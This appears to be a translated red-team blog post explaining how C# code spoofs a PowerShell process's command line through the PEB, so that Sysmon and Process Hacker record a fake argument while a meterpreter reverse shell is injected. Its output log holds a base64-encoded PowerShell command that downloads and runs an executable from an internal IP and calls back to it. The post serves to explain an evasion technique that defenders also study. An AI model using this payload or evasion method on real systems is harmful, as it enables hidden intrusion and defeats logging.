这是一个使用 C# 注入 meterpreter shell 并同时欺骗命令行的示例。命令行存储在进程环境块(PEB)中,在新进程启动时会被记录,并在诸如 Process Hacker 和任务管理器等工具中显示。
此代码基于 Adam Chester/XPN 的博客 如何像 Cobalt Strike 一样争论,该博客解释了 Cobalt Strike 在注入 beacon 时如何欺骗进程的命令行。
我以此为基础创建了一个 C# 版本,它生成一个 PowerShell 进程并注入 meterpreter 反向 shell。诚然,无需 .Net 二进制文件即可完成此操作,但它展示了命令如何被欺骗。
一个新进程以挂起状态启动,并带有伪造的命令行参数。
伪造的命令被记录,但我们能够在进程 PEB 中更改命令行。当主线程恢复时,进程将使用 PEB 中的新命令行。
代码的执行过程如下所示:
[+] 欺骗命令: powershell.exe nothing to see here! :-P
[+] 进程已生成,PID: 8588
[+] PEB 地址: 0x2B2366F000
[+] ProcessParameters 地址: 0x1EF61560000
[+] CommandLine 地址: 0x1EF615606BC
[+] 原始命令行: powershell.exe nothing to see here! :-P
[+] 新命令行: powershell.exe -exec bypass -enc WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACgASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMgAyADgALwBwAC4AZQB4AGUAIgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAKAAsACAAWwBzAHQAcgBpAG4AZwBbAF0AXQAgACgAJwAxADkAMgAuADEANgA4AC4AMQAuADIAMgA4ACcALAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAUABJAEQALAAgACcAMQAwACcAKQApACkAOwB3AGgAaQBsAGUAIAAoACQAdAByAHUAZQApAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADAAMAB9AA== , 已写入进程
[+] 恢复进程
此示例使用 PowerShell 注入 meterpreter 反向 shell,但日志中记录的却是伪造的命令行参数。
Sysmon 记录原始(伪造的)命令行:

Process Hacker 不显示已执行的命令:
